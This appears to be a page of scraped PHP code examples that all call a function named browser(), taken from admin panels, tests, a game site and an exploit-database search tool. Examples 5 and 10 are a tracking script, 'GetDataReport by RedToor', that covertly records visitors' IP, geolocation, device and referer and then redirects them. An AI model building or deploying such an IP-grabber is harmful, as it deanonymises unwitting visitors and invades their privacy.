Ejemplo n.º 1
0
function CVE($OPT)
{
    echo "\n" . c("g2") . "[ " . c("g1") . "CVE.mitre.org " . c("g2") . "]:: ";
    $resultado = NULL;
    if (isset($OPT["find"])) {
        $browser = array("url" => "http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=" . urlencode($OPT["find"]), "proxy" => $OPT["proxy"], "time" => $OPT["time"]);
    } else {
        $browser = array("url" => "http://cve.mitre.org/cgi-bin/cvename.cgi?name=" . $OPT["cve-id"], "proxy" => $OPT["proxy"], "time" => $OPT["time"]);
    }
    $resultado = browser($browser);
    if ($resultado["http_code"] > 307 or $resultado["http_code"] == 0) {
        echo c("g2") . "Retrying... ";
        $resultado = browser($browser);
    }
    if ($resultado["http_code"] > 307 or $resultado["http_code"] == 0) {
        echo c("r") . "Error with the connection...\n\n" . c("g2");
        goto saida;
    }
    if (preg_match("/There are <b>0<\\/b> CVE entries that match your search/i", $resultado["file"]) or preg_match("ERROR: Couldn't find/i", $resultado["file"]) or empty($resultado["file"])) {
        echo c("r") . "NOT FOUND\n" . c("g2");
    } else {
        echo c("g") . "FOUND\n" . c("g2") . "+-----------------------------------------------------------------------------.\n|\n";
        if (isset($OPT["find"])) {
            preg_match_all('/<table cellpadding="0" cellspacing="0" border="0" width="100%">(.*?)<\\/table>/s', $resultado["file"], $source);
            $sourc = explode("</tr>", $source[0][0]);
            array_pop($sourc);
            array_shift($sourc);
            foreach ($sourc as $source) {
                preg_match_all('/<td valign="top" nowrap="nowrap"><a href="(.*?)">(.*?)<\\/a><\\/td>/s', $source, $nmlk);
                preg_match_all('/<td valign="top">(.*?)<\\/td>/s', $source, $descript);
                preg_match_all('/CVE-(.*?)-.*/s', $nmlk[2][0], $year);
                $ds = trim($descript[1][0]);
                echo c("g2") . "| " . c("g1") . "AUTHOR:: " . c("r") . "Not available\n";
                echo c("g2") . "| " . c("g1") . "DATE:: " . c("b") . $year[1][0] . "\n";
                echo c("g2") . "| " . c("g1") . "CVE-ID:: " . $nmlk[2][0] . c("b") . "\n";
                echo c("g2") . "| " . c("g1") . "DESCRIPTION:: " . c("b") . html_entity_decode(htmlspecialchars_decode($ds)) . c("g2") . "\n";
                echo c("g2") . "| " . c("g1") . "LINK:: http://cve.mitre.org" . $nmlk[1][0] . c("g2") . "\n";
                $save["author"] = "Not available";
                $save["date"] = $year[1][0];
                $save["description"] = html_entity_decode(htmlspecialchars_decode($ds));
                $save["title"] = $nmlk[2][0];
                $save["url"] = "http://cve.mitre.org" . $nmlk[1][0];
                $save["dbs"] = "CVE";
                $LAIA = array_merge($save, $OPT);
                if ($OPT["save"] == 1) {
                    echo save($LAIA);
                } else {
                    echo "|\n";
                }
                if ($OPT["save-log"] == 1) {
                    echo save_log($LAIA);
                }
                $id_info = $id_info + 1;
            }
        } else {
            preg_match_all('/<h2>(.*?)<\\/h2>/s', $resultado["file"], $nmlk);
            preg_match_all('/<td colspan="2">(.*?)<\\/td>/s', $resultado["file"], $descript);
            preg_match_all('/CVE-(.*?)-.*/s', $nmlk[1][0], $year);
            $ds = trim($descript[1][0]);
            echo c("g2") . "| " . c("g1") . "AUTHOR:: " . c("r") . "Not available\n";
            echo c("g2") . "| " . c("g1") . "DATE:: " . c("b") . $year[1][0] . "\n";
            echo c("g2") . "| " . c("g1") . "CVE-ID:: " . $nmlk[1][0] . c("b") . "\n";
            echo c("g2") . "| " . c("g1") . "DESCRIPTION:: " . c("b") . html_entity_decode(htmlspecialchars_decode($ds)) . c("g2") . "\n";
            echo c("g2") . "| " . c("g1") . "LINK:: http://cve.mitre.org/cgi-bin/cvename.cgi?name=" . $nmlk[1][0] . c("g2") . "\n";
            $save["author"] = "Not available";
            $save["date"] = $year[1][0];
            $save["description"] = html_entity_decode(htmlspecialchars_decode($ds));
            $save["title"] = $nmlk[1][0];
            $save["url"] = "http://cve.mitre.org/cgi-bin/cvename.cgi?name=" . $nmlk[1][0];
            $save["dbs"] = "CVE";
            $LAIA = array_merge($save, $OPT);
            if ($OPT["save"] == 1) {
                echo save($LAIA);
            } else {
                echo "|\n";
            }
            if ($OPT["save-log"] == 1) {
                echo save_log($LAIA);
            }
        }
        fim_:
        echo c("g2") . "'-----------------------------------------------------------------------------'\n";
    }
    saida:
}
Ejemplo n.º 2
0
    } elseif (preg_match('/(chrome)[ \\/]([\\w.]+)/', $ua)) {
        $browser = 1;
    } elseif (preg_match('/(safari)[ \\/]([\\w.]+)/', $ua)) {
        $browser = 2;
    } elseif (preg_match('/(opera)[ \\/]([\\w.]+)/', $ua)) {
        $browser = 3;
    } elseif (preg_match('/(msie)[ \\/]([\\w.]+)/', $ua)) {
        $browser = 4;
    } elseif (preg_match('/(mozilla)[ \\/]([\\w.]+)/', $ua)) {
        $browser = 5;
    }
    //'mozilla';
    preg_match('/(' . $browser . ')[ \\/]([\\w]+)/', $ua, $version);
    return $browser;
}
$thebrowser = browser();
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
if (isset($_SESSION['pagenum'])) {
    $_SESSION['pagenum'] = $_SESSION['pagenum'] + 1;
} else {
    $_SESSION['pagenum'] = 0;
    $rando = rand(1, 1000000);
    //   print $rando;
    $hash = hash(sha1, $rando);
    $_SESSION['hash'] = $hash;
}
print "<html lang=\"en\">";
//print $_SESSION['hash'];
print "<head>                                                                                                                                                                             \n    <meta charset='utf-8'>                                                                                                                                                           \n    <title>QCRI Twitter Information Extraction Page</title>                                                                                                                          \n    <link rel='stylesheet' type='text/css' href='http://www.zetiz.com/sitepoint/css/bootstrap.css'>                                                                                  \n\n<style>\n\n#myarea {\nborder:2px solid #000;\npadding:10px;\nheight:50px;\nwidth:800px;\n}\n</style></head>";
Ejemplo n.º 3
0
<?php

describe('User interactions', function () {
    beforeEach(function () {
        clear_app();
    });
    describe('visiting the homepage as a visitor', function () {
        it('shows hello world', function () {
            browser()->visit(base() . '/');
            expect(page())->toContainText('Hello world!');
        });
    });
    describe('visiting the homepage as a logged in user', function () {
        beforeEach(function () {
            update_user('test', 'test', 'ROLE_USER');
        });
        it('is possible to login as the user', function () {
            browser()->visit(base() . '/login');
            page()->fillField('Username', 'test');
            page()->fillField('Password', 'test');
            page()->pressButton('Login');
            expect(page())->toContainText('Hello test!');
        });
    });
});
Ejemplo n.º 4
0
	
	
	
	if(isset($_GET["ImportMembersFile"])){MEMBERS_IMPORT_FILE();exit;}
	if(isset($_GET["DeleteMembersForGroup"])){GROUP_DELETE_MEMBERS($_GET["DeleteMembersForGroup"]);exit;}
	if(isset($_GET["ForbiddenAttach"])){GROUP_ATTACHMENTS($_GET["ForbiddenAttach"]);exit();}
	if(isset($_GET["SaveAttachmentGroup"])){FORBIDDEN_ATTACHMENTS_SAVE();exit;}
	if(isset($_GET["LoadGroupSettings"])){GROUP_SETTINGS_PAGE();exit;}
	if(isset($_GET["group_add_attach_rule"])){FORBIDDEN_ATTACHMENTS_ADDRULE();exit;}
	
	if(isset($_GET["KavMilterGroupAddNewRule"])){echo GROUP_KAVMILTER_ADD_NEW_RULE($_GET["KavMilterGroupAddNewRule"]);exit;}
	
	if(isset($_GET["DansGuardian_rules"])){GROUP_DANSGUARDIAN($_GET["DansGuardian_rules"]);exit;}
	if(isset($_GET["save_dansguardian_rule"])){GROUP_DANSGUARDIAN_SAVE();exit;}
	if(isset($_GET["delgroup"])){DeleteGroup();exit;}
	if(isset($_GET["GetTreeFolders"])){browser();exit;}
	
	
	if(isset($_GET["LoadMailingList-js"])){GROUP_MAILING_LIST_JS();exit();}
	if(isset($_GET["LoadMailingList"])){GROUP_MAILING_LIST();exit();}
	if(isset($_GET["RemoveMailingList"])){GROUP_MAILING_LIST_DEL();exit;}
	
	
	if(isset($_GET["LoadComputerGroup"])){COMPUTERS_LIST();exit;}
	if(isset($_GET["FORM_COMPUTER"])){COMPUTER_FORM_ADD();exit;}
	if(isset($_GET["find_computer"])){COMPUTER_FIND();exit;}
	if(isset($_GET["add_computer_to_group"])){COMPUTER_ADD_TO_GROUP();exit;}
	
	if(isset($_GET["FORM_GROUP"])){GROUP_SAMBA_SETTINGS_TABS();exit;}
	if(isset($_GET["FORM_GROUP2"])){GROUP_SAMBA_SETTINGS();exit;}
	if(isset($_GET["FORM_GROUP_IDENTITY"])){GROUP_SAMBA_IDENTITY();exit;}
Ejemplo n.º 5
0
    $system = browser();
    $unix = OS();
    $provetor = gethostbyaddr($_SERVER['REMOTE_ADDR']);
    $g = unserialize(file_get_contents('http://www.geoplugin.net/php.gp?ip=' . $_SERVER['REMOTE_ADDR'] . ''));
    $data = "<pre>";
    $data .= "Target             : " . $id . "<br>";
    $data .= "Ip                 : " . $_SERVER['REMOTE_ADDR'] . "<br>";
    $data .= "Port               : " . $_SERVER['REMOTE_PORT'] . "<br>";
    $data .= "Country Name       : " . $g['geoplugin_countryName'] . "<br>";
    $data .= "Region             : " . $g['geoplugin_region'] . "<br>";
    $data .= "City               : " . $g['geoplugin_city'] . "<br>";
    $data .= "Longitude ,no exact: " . $g['geoplugin_longitude'] . "<br>";
    $data .= "Latitude  ,no exact: " . $g['geoplugin_latitude'] . "<br>";
    $data .= "Device             : " . device($unix) . "<br>";
    $data .= "Operative System   : " . OS() . "<br>";
    $data .= "Browser            : " . browser() . "<br>";
    $data .= "Language           : " . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . "<br>";
    $data .= "Provetor           : " . $provetor . "<br>";
    $data .= "Referer            : " . $_SERVER['HTTP_REFERER'] . "<br>";
    $data .= "Agent              : " . $_SERVER['HTTP_USER_AGENT'] . "<br>";
    $n = rand(0, 9000);
    if ($javascript == 'false') {
        $datas = "<title>GetDataReport[by RedToor]</title><h1>REPORT</h1><br>";
        $datas .= $data;
        $open = fopen("Report-" . $n . ".htm", 'w') or die('Failed');
        fputs($open, $datas);
        fclose($open);
        header("location: " . $url . "");
    } else {
        ?>
Ejemplo n.º 6
0
/**
 * Visit the login page and login with the given username and password.
 * @param string       $username
 * @param string       $password
 * @param array|string $roles
 * @param bool         $update
 * @throws \Behat\Mink\Exception\ElementNotFoundException
 */
function login_as($username, $password, $roles = [], $update = false)
{
    if ($update) {
        update_user($username, $password, $roles);
    }
    browser()->visit(base() . "/login");
    page()->fillField("Username", $username);
    page()->fillField("Password", $password);
    page()->pressButton("Login");
}
Ejemplo n.º 7
0
<?php

/*Ueber die Funktion help() braucht man sich keine Sorgen zu machen sie ruft lediglich eine Weitere Funktion auf,
    die sich in dem Array (hilfe_array) befindet.
	In dem hilfe_array befinden sich zu den einzelnen Modulen eine Funktion ! Diese muss den Modul Namen mit uebergeben.*/
function help($ModulName)
{
    echo $hilfe_array[$ModulName];
}
$hilfe_array = array(ADMIN => admin("ADMIN"), CALENDAR => calendar("CALENDAR"), BROWSER => browser("BROWSER"), HILFE => hilfe("HILFE"));
/*Eine Funktion hier als Bsp. admin arbeitet wie folgt...
  Zuerst kann man in die am anfang inizialisierten Arrays den HTML Code zu einem Menuepunkt einfuegen. Moechte man
     einen Screenshot dazufuegen, tragt man den link mit zugehoerigen Pfad in das screen array ein.
  Nach der Initialisierung der Array werdnen alle Rechte zu den einzelnen Modulen in einem array (recht) abgespeichert.
     über dieses wird im anschluss auch iterriert und die einzelnen Hilfe Seiten werden dann ausgegeben.
     Moechte man nur eine Hilfe Seite fuer ein Modul erstellen, so laesst man die 7 ueberfluessigen Felder einfach weg.
  (siehe unten) ...
   */
function admin($ModulName)
{
    $hilfe_admin_text = array(0 => "<div align=\"center\"><H3>Gruppe Einrichten</H3></div>In dieser Maske kann eine neue Benutzergruppe\n\t\t angelegt und mit Rechten versehen werden. Die linke Spalte\t<b>Alle Rechte</b> zeigt alle verf&uuml;gbaren \n\t\tBerechtigungen an, die vergeben werden k&ouml;nnen. Die rechte Spalte <b>Ausgew&auml;hlte Rechte</b> enth&auml;lt die\n\t\t Berechtigungen, die der Gruppe zugewiesen sind. &Uuml;ber die Schaltfl&auml;chen <b>\"<<\"</b>  <b>\">>\"</b> k&ouml;nnen \n\t\tder Gruppe Berechtigungen gegeben bzw. genommen werden. Neue Gruppen k&ouml;nnen nur von Usern erstellt werden, die\n\t\t selber &uuml;ber die Berechtigung <b>Neue Gruppe einrichten</b> verf&uuml;gen. Mit <b>OK</b> werden die Eingaben\n\t\t best&auml;tigt und die Gruppe erstellt. Mit <b>Abbrechen</b> gelangt man zur&uuml;ck auf die vorherige Seite.", 1 => "<div align=\"center\"><H3>Gruppenrechte bearbeiten</H3></div>In dieser Maske kann eine bestehende \n\t\tBenutzergruppe ausgew&auml;hlt werden und neue Berechtigungen erhalten bzw. entfernt werden. Die linke Spalte <b>\n\t\tAlle Rechte</b> zeigt alle verf&uuml;gbaren Berechtigungen an, die vergeben werden k&ouml;nnen. Die rechte Spalte <b>\n\t\tAusgew&auml;hlte Rechte</b> enth&auml;lt die Berechtigungen, die der Gruppe bereits zugewiesen sind. &Uuml;ber die Schaltfl&auml;chen \n\t\t<b>\"<<\"</b> <b>\">>\"</b> k&ouml;nnen der Gruppe Berechtigungen gegeben bzw. genommen werden. Die Gruppenrechte k&ouml;nnen\n\t \tnur von Usern ver&auml;ndert werden, die selber &uuml;ber die Berechtigung <b>Gruppenrechte bearbeiten</b> verf&uuml;gen. Mit\n\t \t<b>OK</b> werden die Eingaben best&auml;tigt und die neuen Berechtigungen der Gruppe zugewiesen. Mit <b>Abbrechen</b> \n\t\tgelangt man zur&uuml;ck auf die vorherige Seite.\t", 2 => "<div align=\"center\"><H3>L&ouml;schen einer Gruppe</H3></div>In dieser Maske kann eine bestehende \n\t\tBenutzergruppe gel&ouml;scht werden. Die zu l&ouml;schende Gruppe wird in der ComboBox ausgew&auml;hlt. Mit <b>OK</b> wird die\n\t \tausgew&auml;hlte Gruppe gel&ouml;scht. Mit <b>Abbrechen</b> gelangt man zur&uuml;ck auf die vorherige Seite.", 3 => "<div align=\"center\"><H3>Mitglieder einer Gruppe zuordnen</H3></div>In dieser Maske kann eine bestehende\n\t \tBenutzergruppe ausgew&auml;hlt werden und ihr neuer User zugef&uuml;gt bzw. entfernt werden. Die linke Spalte <b>Alle User</b>\n \t\tzeigt alle verf&uuml;gbaren User an, die sich im System befinden. Die rechte Spalte <b>Ausgew&auml;hlte User</b> enth&auml;lt die \n\t\tUser, die der Gruppe bereits zugewiesen sind. &Uuml;ber die Schaltfl&auml;chen <b>\"<<\"</b> <b>\">>\"</b> k&ouml;nnen der Gruppe User \n\t\thinzugef&uuml;gt bzw. entfernt werden. Die Gruppenmitglieder k&ouml;nnen nur von Usern ver&auml;ndert werden, die selber &uuml;ber die \n\t\tBerechtigung <b>Gruppenmitglieder bearbeiten</b> verf&uuml;gen. Mit <b>OK</b> werden die Eingaben best&auml;tigt und die neuen \n\t\tUser der Gruppe zugewiesen. Mit <b>Abbrechen</b> gelangt man zur&uuml;ck auf die vorherige Seite.", 4 => "<div align=\"center\"><H3>User einrichten</H3></div>&Uuml;ber diese Maske kann ein User eingerichtet werden. \n\t\tAlle Felder sind Pflichtfelder. Mit Hilfe des User-Namen und des Passwortes, was zwei mal eingegeben werden muß, kann \n\t\tder User sich an dem System anmelden. Der Name und Vorname wird benutzt, um den User eindeutig identifizieren zu \n\t\tk&ouml;nnen. Durch Eingabe der E-Mail Adresse bekommt der User seine Registrierungs-Daten per E-Mail zugeschickt. Mit dem \n\t\tButton <b>OK</b> best&auml;tigt man die Eingabe und der User wird in der Datenbank angelegt. Mit <b>Abbrechen</b> gelangt \n\t\tman zur&uuml;ck auf die vorherige Seite.", 5 => "<div align=\"center\"><H3>User Eigenschaften bearbeiten</H3></div>&Uuml;ber diese Maske kann der User seine \n\t\tEigenschaften &auml;ndern. M&ouml;chte der User sein Passwort &auml;ndern, kann man mit Hilfe der ersten drei Felder ein neues \n\t\tPasswort setzen. Hat sich die E-Mail Adresse des Users ge&auml;ndert, kann diese in dem Feld E-Mail ge&auml;ndert werden. Mit \n\t\tdem Button <b>OK</b> best&auml;tigt man die Eingabe und die Daten des Users werden in der Datenbank gespeichert. Mit \n\t\t<b>Abbrechen</b> gelangt man zur&uuml;ck auf die vorherige Seite.", 6 => "<div align=\"center\"><H3>User l&ouml;schen</H3></div>&Uuml;ber diese Maske kann ein oder mehrere User komplett\n\t \taus dem System gel&ouml;scht werden. Hierf&uuml;r muss die Gruppe ausgew&auml;hlt werden, in der sich der User befindet. Die zu \n\t\tl&ouml;schenden User werden unter <b>Alle User:</b> markiert und &uuml;ber <b>\">>\"</b> den <b>Ausgew&auml;hlten User:</b> zugef&uuml;gt. \n\t\tMit dem Button <b>OK</b> wird die L&ouml;schung der <b>Ausgew&auml;hlten User</b> veranlasst. Mit <b>Abbrechen</b> gelangt man \n\t\tzur&uuml;ck auf die vorherige Seite.", 7 => "");
    $hilfe_admin_screen = array(0 => "", 1 => "", 2 => "", 3 => "", 4 => "", 5 => "", 6 => "", 7 => "");
    $acl = new ACL();
    $acl = @$_SESSION["user"]->getACLByPath($ModulName);
    if ($acl->acl_id != NULL) {
        echo "<table border=\"0\" align=\"center\"><tr><td><div align=\"center\">";
        echo "<div aling=\"center\"><H2><u>Beschreibung der Admin Tools</u></H2></div><br/>";
    }
    for ($a = 0; $a < 8; $a++) {
        if ($acl->delete_path == 1) {
            if ($hilfe_admin_text[$a] != NULL) {
Ejemplo n.º 8
0
    exit;
}
if (isset($_GET["DansGuardian_rules"])) {
    GROUP_DANSGUARDIAN($_GET["DansGuardian_rules"]);
    exit;
}
if (isset($_GET["save_dansguardian_rule"])) {
    GROUP_DANSGUARDIAN_SAVE();
    exit;
}
if (isset($_GET["delgroup"])) {
    DeleteGroup();
    exit;
}
if (isset($_GET["GetTreeFolders"])) {
    browser();
    exit;
}
if (isset($_GET["LoadMailingList-js"])) {
    GROUP_MAILING_LIST_JS();
    exit;
}
if (isset($_GET["LoadMailingList"])) {
    GROUP_MAILING_LIST();
    exit;
}
if (isset($_GET["RemoveMailingList"])) {
    GROUP_MAILING_LIST_DEL();
    exit;
}
if (isset($_GET["LoadComputerGroup"])) {
Ejemplo n.º 9
0
function process_get()
{
    global $page;
    global $MySelf;
    $ajax = 0;
    switch ($_GET['action']) {
        // Maintenance!
        case "maintenance":
            $page = maintenance();
            break;
            // a specific run is requested.
        // a specific run is requested.
        case "show":
            $page = listRun();
            $ajax = 20;
            break;
            // a profile is requested.
        // a profile is requested.
        case "profile":
            $page = profile();
            break;
            // a profile change is requested.
        // a profile change is requested.
        case "modprofile":
            $page = modProfile();
            break;
            // Admin request to delete an api key (NOT user deleting own!)
        // Admin request to delete an api key (NOT user deleting own!)
        case "delapi":
            $page = deleteAPIKey();
            break;
            // Quick toggle of login capabilities.
        // Quick toggle of login capabilities.
        case "toggleLogin":
            $page = toggleLogin();
            break;
            // Quick confirm an account.
        // Quick confirm an account.
        case "quickconfirm":
            $page = quickConfirm();
            break;
            // Change of eMail requested
        // Change of eMail requested
        case "changeemail":
            $page = makeEmailChangeForm();
            break;
            // Show corp hierarchy
        // Show corp hierarchy
        case "hierarchy":
            $page = showHierarchy();
            break;
            // Browser solar Systems
        // Browser solar Systems
        case "browse":
            $page = browser();
            break;
            // User wants to delete a run.
        // User wants to delete a run.
        case "deleterun":
            deleteRun();
            break;
            // User wants to see the preferences page.
        // User wants to see the preferences page.
        case "preferences":
            $page = makePreferences();
            break;
            // A banker wants to see the transaction log for a user.
        // A banker wants to see the transaction log for a user.
        case "showTransactions":
            $page = showTransactions();
            break;
            // User wants to manage his cans.
        // User wants to manage his cans.
        case "cans":
            $page = makeCanPage();
            break;
            // Print out fancy global statistics
        // Print out fancy global statistics
        case "globstats":
            $page = globalStatistics();
            break;
            // User wants to re-validate his email.
        // User wants to re-validate his email.
        case "revalidate":
            validate();
            break;
            // User wants to pop a can.
        // User wants to pop a can.
        case "popcan":
            $page = popCan();
            break;
            // Kick a user.
        // Kick a user.
        case "kickban":
            $page = kick();
            break;
            // User wants to toggle the empty/full setting of a can.
        // User wants to toggle the empty/full setting of a can.
        case "togglecan":
            $page = toggleCan();
            break;
            // close a run.
        // close a run.
        case "endrun":
            endrun();
            break;
            // Show ore values
        // Show ore values
        case "showorevalue":
            $page = showOreValue();
            break;
            // Show ship values
        // Show ship values
        case "showshipvalue":
            $page = showShipValue();
            break;
            // Show Corp Hierarchy
        // Show Corp Hierarchy
        case "hier":
            $page = showHierarchy();
            break;
            // manage payouts
        // manage payouts
        case "payout":
            $page = payout();
            break;
            // set/view the online time
        // set/view the online time
        case "onlinetime":
            $page = onlineTime();
            break;
            // Mods a template
        // Mods a template
        case "edittemplate":
            $page = editTemplate();
            break;
            // Some Admin wants to change the ore values.
        // Some Admin wants to change the ore values.
        case "changeow":
            $page = makeOreWorth();
            break;
            // Some Admin wants to change the ore values.
        // Some Admin wants to change the ore values.
        case "changesv":
            $page = makeShipValue();
            break;
            // Password change request. We wont touch that.
        // Password change request. We wont touch that.
        case "changepw":
            $page = makePWChangeForm();
            break;
            // User wants to join the selected run.
        // User wants to join the selected run.
        case "joinrun":
            $page = joinRun();
            break;
            // User wants to part the selected run.
        // User wants to part the selected run.
        case "partrun":
            $page = leaveRun();
            break;
            // Password change request. We wont touch that.
        // Password change request. We wont touch that.
        case "lostpass":
            $page = makeLostPassForm();
            break;
            // Lotto: Create group
        // Lotto: Create group
        case "lotto_createGroup":
            $page = lotto_createGroup();
            break;
            // add ore from a haul to an open run.
        // add ore from a haul to an open run.
        case "addhaul":
            $page = addHaulPage();
            break;
            // Edit site configuration
        // Edit site configuration
        case "configuration":
            $page = configuration();
            break;
            // Add an event.
        // Add an event.
        case "addevent":
            $page = addEvent();
            break;
            // Show all events.
        // Show all events.
        case "showevents":
            $page = showEvents();
            break;
            // Join an Event
        // Join an Event
        case "joinevent":
            $page = joinEvent();
            break;
            // Show an event.
        // Show an event.
        case "showevent":
            $page = showEvent();
            break;
            // lists all ore runs.
        // lists all ore runs.
        case "list":
            $page = listRuns();
            $ajax = 60;
            break;
            // Manage wallet
        // Manage wallet
        case "manageWallet":
            $page = manageWallet();
            break;
            // Show current ranks
        // Show current ranks
        case "showranks":
            $page = showRanks();
            break;
            // delete a rank
        // delete a rank
        case "deleterank":
            $page = delRank();
            break;
            // delete an event from the database.
        // delete an event from the database.
        case "deleteevent":
            $page = deleteEvent();
            break;
            // lists all users.
        // lists all users.
        case "editusers":
            $page = listUsers();
            break;
            // lists one user.
        // lists one user.
        case "edituser":
            $page = listUser();
            break;
            // prints the form for a new run.
        // prints the form for a new run.
        case "newrun":
            $page = makeNewOreRunPage();
            break;
            // add a new user.
        // add a new user.
        case "newuser":
            $page = makeAddUserForm();
            break;
            // Toggle the charity flag.
        // Toggle the charity flag.
        case "toggleCharity":
            toggleCharity();
            break;
            /* Locking unlocking */
        /* Locking unlocking */
        case "lockrun":
            toggleLock();
            break;
            // prints the main welcome page.
        // prints the main welcome page.
        default:
            $page = makeWelcome();
            break;
            /* LOTTO STUFF */
        /* LOTTO STUFF */
        case "editLotto":
            $page = lotto_editLottery();
            break;
        case "lotto":
            $page = lotto_playLotto();
            break;
        case "claimTicket":
            lotto_claimTicket();
            break;
        case "drawLotto":
            lotto_draw();
            break;
        case "buycredits":
            $page = lotto_buyTickets();
            break;
        case "style":
            $page = style();
            break;
        case "getItemList":
            $page = getItemList();
            break;
        case "switch":
            $MySelf = null;
            $_SESSION['MySelf'] = null;
            unset($_SERVER[QUERY_STRING]);
            makeLoginPage($SUPPLIED_USERNAME);
            break;
    }
    if ($ajax > 1) {
        $ajaxHtml = "<script>window.setTimeout(function(){\$.ajax({";
        if (isset($_REQUEST['ajax'])) {
            $ajaxHtml .= "url: '?" . $_SERVER['QUERY_STRING'] . "',";
        } else {
            $ajaxHtml .= "url: '?" . $_SERVER['QUERY_STRING'] . "&ajax',";
        }
        $ajaxHtml .= "success: function(data) {\$('#content').html(data);}";
        $ajaxHtml .= "});},(" . $ajax * 1000 . "));</script>";
        $page .= $ajaxHtml;
    }
    if (isset($_REQUEST['ajax'])) {
        $html = new html();
        $page = $html->clean($page);
        print $page;
    } else {
        // Clean & Print the page.
        $html = new html();
        $html->addBody($page);
        print $html->flush();
    }
}
Ejemplo n.º 10
0
function getall()
{
    $id = $_GET['id'];
    $system = browser();
    $unix = OS();
    $provetor = gethostbyaddr($_SERVER['REMOTE_ADDR']);
    $g = unserialize(file_get_contents('http://www.geoplugin.net/php.gp?ip=' . $_SERVER['REMOTE_ADDR'] . ''));
    $data = "<pre>";
    $data .= "Target             : " . $id . "<br>";
    $data .= "Ip                 : " . $_SERVER['REMOTE_ADDR'] . "<br>";
    $data .= "Port               : " . $_SERVER['REMOTE_PORT'] . "<br>";
    $data .= "Date               : " . date("F j, Y, g:i a") . "<br>";
    $data .= "Country Name       : " . $g['geoplugin_countryName'] . "<br>";
    $data .= "Region             : " . $g['geoplugin_region'] . "<br>";
    $data .= "City               : " . $g['geoplugin_city'] . "<br>";
    $data .= "Longitude ,no exact: " . $g['geoplugin_longitude'] . "<br>";
    $data .= "Latitude  ,no exact: " . $g['geoplugin_latitude'] . "<br>";
    $data .= "Device             : " . device($unix) . "<br>";
    $data .= "Operative System   : " . OS() . "<br>";
    $data .= "Architecture       : " . architecture() . "<br>";
    $data .= "Browser            : " . browser() . "<br>";
    $data .= "Language           : " . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . "<br>";
    $data .= "Provetor           : " . $provetor . "<br>";
    $data .= "Referer            : " . $_SERVER['HTTP_REFERER'] . "<br>";
    $data .= "Agent              : " . $_SERVER['HTTP_USER_AGENT'] . "<br>";
    return $data;
}
Ejemplo n.º 11
0
function siph0n($OPT)
{
    echo "\n" . c("g2") . "[ " . c("g1") . "SIPH0N.in " . c("g2") . "]:: ";
    $resultado = NULL;
    if (isset($OPT["author"])) {
        echo c("r") . "Not available\n";
        goto saida;
    } else {
        $info = array('search' => $OPT["find"], 'Submit' => 'Submit');
        $browser = array("url" => "http://siph0n.in/", "proxy" => $OPT["proxy"], "post" => $info, "time" => $OPT["time"]);
    }
    $resultado = browser($browser);
    if ($resultado["http_code"] > 307 or $resultado["http_code"] == 0) {
        echo c("g2") . "Retrying... ";
        $resultado = browser($browser);
    }
    if ($resultado["http_code"] > 307 or $resultado["http_code"] == 0) {
        echo c("r") . "Error with the connection...\n\n" . c("g2");
        goto saida;
    }
    $la = 0;
    $a = explode("\n", $resultado["file"]);
    foreach ($a as $line) {
        if ($line == "<br><br><b>[ Search Results ]</b><br>") {
            $la = 1;
        }
    }
    if ($la != 1) {
        echo c("r") . "NOT FOUND\n" . c("g2");
    } else {
        echo c("g") . "FOUND\n" . c("g2");
        if (!$_SESSION["filter"]) {
            echo ".-----------------------------------------------------------------------------.\n|\n" . c("g1");
        }
        preg_match_all('/<table width="597" align="center" border="0">(.*?)<\\/table>/s', $resultado["file"], $data_brute);
        $data_brute_2 = explode("</tr>", $data_brute[0][0]);
        unset($data_brute_2[0]);
        unset($data_brute_2[count($data_brute_2)]);
        foreach ($data_brute_2 as $data) {
            preg_match_all('#<td class="style1" nowrap="nowrap" width="62">(.*?)</td>#', $data, $date);
            preg_match_all('#<td nowrap="nowrap" width="375"><a href="(.*?)" target="_blank" class="style1">(.*?)</a></td>#', $data, $title_link);
            preg_match_all('#<a href=".*">(.*?)</a>#', $data, $author);
            if ($_SESSION["filter"]) {
                ob_end_clean();
                $_SESSION["filtro"][] = array('db' => 'SIPH0N', 'author' => $author[1][2], 'date' => $date[1][0], 'title' => trim($title_link[2][0]), 'link' => "http://siph0n.in/{$title_link[1][0]}");
            } else {
                echo c("g2") . "| " . c("g1") . "AUTHOR:: " . $author[1][2] . "\n";
                echo c("g2") . "| " . c("g1") . "DATE:: " . $date[1][0] . "\n";
                echo c("g2") . "| " . c("g1") . "TITLE:: " . c("b") . trim($title_link[2][0]) . "\n";
                echo c("g2") . "| " . c("g1") . "LINK:: " . c("b") . "http://siph0n.in/{$title_link[1][0]}" . c("g2") . "\n" . c("g2");
                $save["author"] = $author[1][2];
                $save["date"] = $date[1][0];
                $save["title"] = trim($title_link[2][0]);
                $save["link"] = "http://siph0n.in/" . $title_link[1][0];
                $save["db"] = "SIPH0N";
                if ($OPT["save"] == 1) {
                    echo save($save);
                } else {
                    echo "|\n";
                }
                if ($OPT["save-log"] == 1) {
                    echo save_log($save);
                }
            }
        }
        echo c("g2") . "'-----------------------------------------------------------------------------'\n";
    }
    saida:
}
Ejemplo n.º 12
0
function display($content, $title, $topnav = true, $leftnav = true, $rightnav = true, $badstart = false)
{
    // Finalize page and output to browser.
    global $numqueries, $userrow, $controlrow, $version, $build;
    if (!isset($controlrow)) {
        $controlquery = doquery("SELECT * FROM {{table}} WHERE id='1' LIMIT 1", "control");
        $controlrow = mysql_fetch_array($controlquery);
    }
    if ($badstart == false) {
        global $starttime;
    } else {
        $starttime = $badstart;
    }
    // Make page tags for XHTML validation.
    $xml = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n" . "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"DTD/xhtml1-transitional.dtd\">\n" . "<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\n";
    $template = gettemplate("primary");
    if ($userrow == true) {
        $rightnav = gettemplate("rightnav");
        $leftnav = gettemplate("leftnav");
    }
    //if ($rightnav == true) { $rightnav = gettemplate("rightnav"); } else { $rightnav = ""; }
    //if ($leftnav == true) { $leftnav = gettemplate("leftnav"); } else { $leftnav = ""; }
    //if ($topnav == true) {
